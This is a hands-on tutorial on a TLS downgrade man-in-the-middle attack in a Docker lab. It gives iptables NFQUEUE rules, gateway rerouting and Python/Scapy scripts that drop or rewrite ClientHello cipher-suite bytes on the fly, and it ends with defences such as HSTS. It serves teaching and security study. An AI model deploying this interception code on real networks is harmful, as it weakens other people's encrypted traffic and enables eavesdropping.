Hands-on guide: A TLS downgrade attack with NetFilter's Queues and Docker
Introduction. This article is a hands-on, practical guide on downgrading a SSL/TLS connection. Downgrading is a well-known technique to weaken the security of encrypted communications. TLS is used to encrypt the traffic of HTTPS web pages, preventing bad guys from seeing what you do; among other features, newer versions of TLS often fix security flaws. However, the Internet is not upgradable overnight, and servers usually still support legacy (meaning: less secure) versions of the protocol, in case of an old device showing up. The game here is to perform a Man-in-the-Middle attack, and trick both client and server into using an older, weaker TLS version, while both would support the latest, most secure version.
The boring part: the basics
Feel free to skip to the fun part if you know TLS and docker!
What you should know about TLS
Let's start with a tad of theory. The TLS protocol starts with a handshake phase where the client and the server notably agree on which encryption to use later on during the subsequent communication phase. While the later phase is encrypted (and integrity-protected), the handshake is sent in cleartext and does not have integrity-protection, allowing us to run the downgrade attack.
Client Server
| (1) ClientHello --------> |
| <-------- ServerHello (2) |
In (1), the client proposes some encryption functions (same for hashing and compressing) he agrees to use; in (2), the server responds with one he supports.
In this tutorial, we'll alter the ClientHello message, to pretend the client only support old encryption functions. We first have to understand the structure of this message; the most precise resource is the corresponding IETF RFC [7], but we'll start by using a diagram from a blog post [8]:
ClientHello
*****************
record type (1 byte)
/
/ version (1 byte major, 1 byte minor)
/ /
/ / length (2 bytes)
/ / /
0 1 2 3 4
+----+----+----+----+----+
| | | | | |
| | | | | | TLS Record header
+----+----+----+----+----+
Record Type Values dec hex
-------------------------------------
CHANGE_CIPHER_SPEC 20 0x14
ALERT 21 0x15
HANDSHAKE 22 0x16
APPLICATION_DATA 23 0x17
Version Values dec hex
-------------------------------------
SSL 3.0 3,0 0x0300
TLS 1.0 3,1 0x0301
TLS 1.1 3,2 0x0302
TLS 1.2 3,3 0x0303
This tells us how to recognize the TLS handshake, which starts by 0x16, 0x03, 0x0?. Now digging through the RFC, we learn the subsequent fields:
# ClientHello
struct {
ProtocolVersion client_version; # payload[0:2] : version of SSL/TLS the client wishes to use
Random random; # payload[2:34] : contains a timestamp and a random number
opaque SessionID; # payload[34:35] : size of Session ID
# payload[35:x] : session ID (optional)
CipherSuite cipher_suites; # payload[x:x+1] : size of cipher suites
# payload[x+1:y] : cipher suites
CompressionMethod compression_methods; # ...
...
} ClientHello;
And finally, we learn how the cipher suites are represented in the message:
CipherSuite TLS_RSA_WITH_NULL_MD5 = { 0x00,0x01 };
...
CipherSuite TLS_RSA_WITH_AES_128_CBC_SHA = { 0x00,0x2F };
CipherSuite TLS_RSA_WITH_AES_256_CBC_SHA = { 0x00,0x35 };
...
We have all the knowledge we need ! To summarize, we'll perform a downgrade attack by editing on the fly a ClientHello message, which we'll recognize by the header 0x16, 0x03, and change the bytes representing the proposed cipher suites, located at payload[x+1:y].
What you should know about Docker
To emulate this scenario, you will run Docker images locally. Similar to Virtual Machines, they will behave like physical machines connected to the network. You will need to install docker [1] to run this tutorial.
In this tutorial, we will download one image from DockerHub, and build another manually using a Dockerfile. An image is a blueprint for a container, a running instance. To run an image (and create a container), execute:
$ docker run --name=CONTAINER_NAME IMAGE_NAME
If you don't have IMAGE_NAME locally, docker will try to pull it from Docker Hub [2]. The command will try to create a container CONTAINER_NAME, and fail if it already exists. You can list your containers with:
$ docker ps -a
... and remove a container with:
$ docker rm CONTAINER_NAME
To spawn a shell in a running container, run:
$ docker exec -it CONTAINER_NAME /bin/sh
Note: Depending on your operating system, the docker command might require sudo [3]. Add it if necessary.
We're good to go!
The fun part: hands-on
Scenario. You're John, a young malware analyst. You were given the task to analyze an infected machine on your company network. The malware reset the machine, and you lost all access to it. Before the sysadmins wipe the machine clean, you have a few hours to report on the incident.
Infected Machine | TLS 1.2 with AES 258 | Internet |
You decide to check out if the machine is communicating with the Internet. After running Wireshark, you realize the malware is still very alive, and talking to an evil Command&Control (C&C) server. Communications happen on the port 443, and you suspect the C&C server controls its botnet using the standard HTTPS protocol, probably to avoid being blocked by corporate firewalls. Alas, you're unable to decipher the communications : HTTPS is end-to-end encrypted, here using the TLS1.2 protocol. Let's downgrade it to a weaker version!
Setup
Getting the infected machine. To emulate this scenario, you will need the "infected" machine (which is of course perfectly safe). It contains a simple script that regularly contacts this website using TLSv1.2.
In a new terminal, run:
$ docker run --cap-add=NET_ADMIN --name=infected lbarman/downgrade-demo-infected:latest
Initiating connection to evil C&C server lbarman.ch ...
Server reachable, performing handshake...
Available ciphers:
TLSv1.2:
ciphers:
TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
Using stronger cipher suite (AES 256)... <- your downgrade attack failed !
Exchanging secret stuff on this very secure channel...
Done.
You see now concretely what you will achieve: make this docker container connect using AES_128 instead of AES_256. A true downgrade attack that you could pull on someone ! (please don't)
Please keep this terminal open, we will need it later.
Building the MitM machine. You will build and run yourself the analysis machine's docker image; that way, it will be much easier to change its behavior through this tutorial. Let's work in the folder /tmp/downgrade. In a new terminal, create the Dockerfile as follows:
$ mkdir -p /tmp/downgrade
$ cd /tmp/downgrade
$ cat >Dockerfile << EOF
FROM ubuntu:latest # build from the latest Ubuntu on DockerHub
# install additional stuff:
RUN apt-get update
RUN apt-get install -y --no-install-recommends apt-utils nano iptables python3 python3-pip tcpdump
RUN apt-get install -y --no-install-recommends net-tools python3-dev build-essential libnetfilter-queue-dev
RUN pip3 install --upgrade pip
RUN pip3 install setuptools
RUN pip3 install NetfilterQueue
RUN pip3 install scapy-python3
WORKDIR /work
CMD ["sleep", "9999999"] # when booting, do nothing
EOF
$ docker build -t mitm_machine . # build the image from this folder
Finally, in this second terminal, start the container from the image you just built:
$ docker run -d --cap-add=NET_ADMIN -v=/tmp/downgrade:/work --name=mitm mitm_machine
Since we provided -d, the container is running in background, unlike the infected machine.
Hijacking the connection
The first thing is to route the traffic of the infected machine through the MitM machine we just created. At first, it will simply relay the traffic, much like a router; later, we'll alter the traffic.
In the malware scenario, as John, you could achieve this by changing the configuration of the DHCP server running on the corporate network. When a machine connects (by Ethernet or WiFi) to a LAN, it makes a request to the default DHCP server, which answers with the following triplet of information:
IP Address: 10.0.1.17
Network Mask: 255.255.255.0
Default Gateway: 10.0.1.1
The Default Gateway field indicates where to send the packets destined to "the Internet", it is typically the IP address of the router. Since you, John, have control over the DHCP server of your company, you can change this value to the IP of the MitM machine, which will then receive packets destined to the Internet. To finish this part of the story, you'll also need to enable the flag IP_Forward and set the Default Gateway to the real address to have the MitM machine behave really like a router.
Infected Machine | Man-in-the-Middle Machine | Internet |
Luckily, here we have a much simpler option. In our artificial Docker setup, everything runs in our host machine. Hence, it is possible to connect to the running docker container, and change its configuration directly.
First, Let's get the MitM machine's IP address :
$ docker exec -it mitm ifconfig eth0 | head -n 2 | tail -n 1
inet addr:172.17.0.2 Bcast:0.0.0.0 Mask:255.255.0.0
Now let's change the default gateway of the infected machine to our MitM machine:
$ docker exec -it infected /bin/sh
/infected # route del default
/infected # route add default gateway ↖172.17.0.2 eth0
The MitM machine needs to have the IP_Forward flag set to 1 to forward packets destined to other recipients to the Internet, otherwise it will drop them. It is already set in this docker image/container. Should you want to check:
$ docker exec -it mitm /bin/sh
/mitm # sysctl net.ipv4.ip_forward
net.ipv4.ip_forward = 1 # all good
Finally, we need to add rules to the firewall of the MitM machine. The first one allows transiting packets (FORWARD...ACCEPT), and the second MASQUERADE rewrites the source IP of forwarded packets as the MitM machine's IP, to receive the potential replies. This is exactly what a router does.
$ docker exec -it mitm /bin/sh
/mitm # iptables -A FORWARD -i eth0 -j ACCEPT
/mitm # iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
At this point, messages sent by the infected machine go through the MitM machine, which forwards them to its own Gateway address, towards the Internet. You can run wireshark/tcpdump on the MitM machine to check this; it is left as an exercise for the interested reader ;)
Capturing the traffic with Netfilter's queues
As said, the MitM machine simply forwards the packets it receives. We want to have a way to view and edit them; with iptables, let's now tell the kernel to store the packets in a queue. On the MitM machine, run :
$ docker exec -it mitm /bin/sh
/mitm # iptables -D FORWARD -i eth0 -j ACCEPT
/mitm # iptables -A FORWARD -j NFQUEUE --queue-num 0
You could be more specific with respect to the packets you put in the queue, for instance by adding -p tcp --dport 443 in the command above; this is not required here. Notice that the MitM machine does not forward packets anymore, and the infected machine has lost Internet connectivity.
Now comes the fun part; actually modifying the traffic that goes through the MitM machine. We'll use python, and two packages: NetFilterQueue [5] to bind to the packet queues, and Scapy [6] to parse the packets. Let's create a file /tmp/downgrade/intercept.py with the following contents:
#!/usr/bin/python3
from netfilterqueue import NetfilterQueue
from scapy.all import *
nfQueueID = 0
maxPacketsToStore = 100
def packetReceived(pkt): # called each time a packet is put in the queue
print("New packet received.")
pkt.accept(); # accepts and forwards this packet to the appropriate network address
print("Binding to NFQUEUE", nfQueueID)
nfqueue = NetfilterQueue()
nfqueue.bind(nfQueueID, packetReceived, maxPacketsToStore) # binds to queue 0, use handler "packetReceived()"
try:
nfqueue.run()
except KeyboardInterrupt:
print('Listener killed.')
nfqueue.unbind()
Using NetfilterQueue, we can interact with the queue created before. Each time a packet is put in the queue, the function packetReceived will be called. For now, the script above simply forwards the received packets using pkt.accept(). Notice that the script is also accessible in the MitM machine in /work/interceptor.py. To run it, simply perform:
$ docker exec -it mitm /bin/sh # enter the mitm machine
/mitm # python3 ./interceptor.py # start forwarding the incoming traffic
Binding to NGQUEUE 0
...
Currently, we (again) simply forward the packets, but now in Python. Don't despair, we're progressing!
Selective packet dropping
Most of the needed information was already presented in the intro: we need to alter the Client Hello message, which starts with the bytes 0x16, 0x03, and we just need to find the exact index of the cipher suites in the Client Hello. Fire up wireshark on the host, and bind it on the docker network adapter 172.17.0.0. Let it capture packets for a while, then look for a Client Hello packet which targets TLS1.2 (see Figure 3).
Why are there two Client Hello packets ? Indeed, this is where the infected machine deviates from the behavior of a normal web browser. The infected machine actually scans for all known SSL/TLS versions and ciphers with nmap, which don't fit in one handshake, resulting in multiple packets. A web browser would send only one Client Hello containing a few cipher suites.
In wireshark, we can interactively explore the Client Hello packet. You can see that one proposes the suite TLS_RSA_WITH_AES_256_CBC_SHA, and the other TLS_RSA_WITH_AES_128_CBC_SHA.
In Figure 4, we recognize the bytes 0x00 0x35 which represent TLS_RSA_WITH_AES_256_CBC_SHA, and see their position 46 in the TCP payload, 112 in the frame. First, let's drop the packet corresponding to AES_256, leaving the one with AES_128 untouched.
In /tmp/downgrade/interceptor.py, change the function packetReceived :
def packetReceived(pkt):
print("Accepted a new packet...")
ip = IP(pkt.get_payload())
if not ip.haslayer("Raw"): # not the Handshake, forward
pkt.accept();
else:
tcpPayload = ip["Raw"].load; # "Raw" corresponds to the TCP payload
if tcpPayload[0] == 0x16 and tcpPayload[1] == 0x03 and tcpPayload[46] == 0x00 and tcpPayload[47] == 0x35:
pkt.drop(); # drop TLS_RSA_WITH_AES_256_CBC_SHA
else:
pkt.accept(); # not the Handshake, forward
Now, kill and restart the intercept.py in the MitM machine. Drumroll... check out the console of the infected machine:
Initiating connection to evil C&C server prifi.net ...
Server reachable, performing handshake...
Available ciphers:
TLSv1.2:
ciphers:
TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
compressors:
Using weaker cipher suite (AES 128)...
Success !
Ta-da !
The infected machine is talking to the Internet through the MitM machine, which weakened the TLS connection.
Selective packet edition
Ok, so dropping a message is intuitively easy. What about editing? Could you change AES_256 into AES_128 if there were only one packet ? Yes indeed ! Let's edit the packet on the fly, and change 0x00 0x35 by 0x00 0x2F.
def packetReceived(pkt):
print("Accepted a new packet...")
ip = IP(pkt.get_payload())
if not ip.haslayer("Raw"):
pkt.accept();
else:
tcpPayload = ip["Raw"].load;
if tcpPayload[0] == 0x16 and tcpPayload[1] == 0x03 and tcpPayload[46] == 0x00 and tcpPayload[47] == 0x35:
# we located the Handshake
msgBytes = pkt.get_payload() # msgBytes is read-only, copy it
msgBytes2 = [b for b in msgBytes]
msgBytes2[112] = 0x00
msgBytes2[113] = 0x2F
pkt.set_payload(bytes(msgBytes2))
pkt.accept()
else:
pkt.accept();
This is actually what you would need to perform a downgrade attack on a web browser, since as mentioned, the browser only sends one Handshake. In that single packet, you can edit the available cipher suite as shown just above. Dropping this packet would fully downgrade from HTTPS to HTTP, by the way.
Conclusion
One take-away message is perhaps that editing network messages on-the-fly is very accessible, with very high-level tools, and a MitM can be done in 20 lines of Python. Think twice when you connect to someone's hotspot :)
What defenses do we have against this? The full downgrade from HTTPS to HTTP can be prevented with HSTS [9] (but the website you visit needs to enable it); the more subtle downgrade we did (weakening the cipher suite) in general cannot be prevented, but well-configured clients and servers usually don't even support the weakest suites, as they get disabled over time.
Thanks for reading! The sources for the Docker images are here.
Big shout-out to christophetd and hmil for their help!
References :
- [1] Install Docker
- [2] Docker Hub
- [3] Why we don't let non-root users run Docker in CentOS, Fedora, or RHEL
- [4] Diffie-Hellman Key Exchange
- [5] NetfilterQueue 0.8.1
- [6] Scapy's documentation
- [7] RFC 5246 - The Transport Layer Security (TLS) Protocol Version 1.2
- [8] TLS Record Protocol Format
- [9] HTTP Strict Transport Security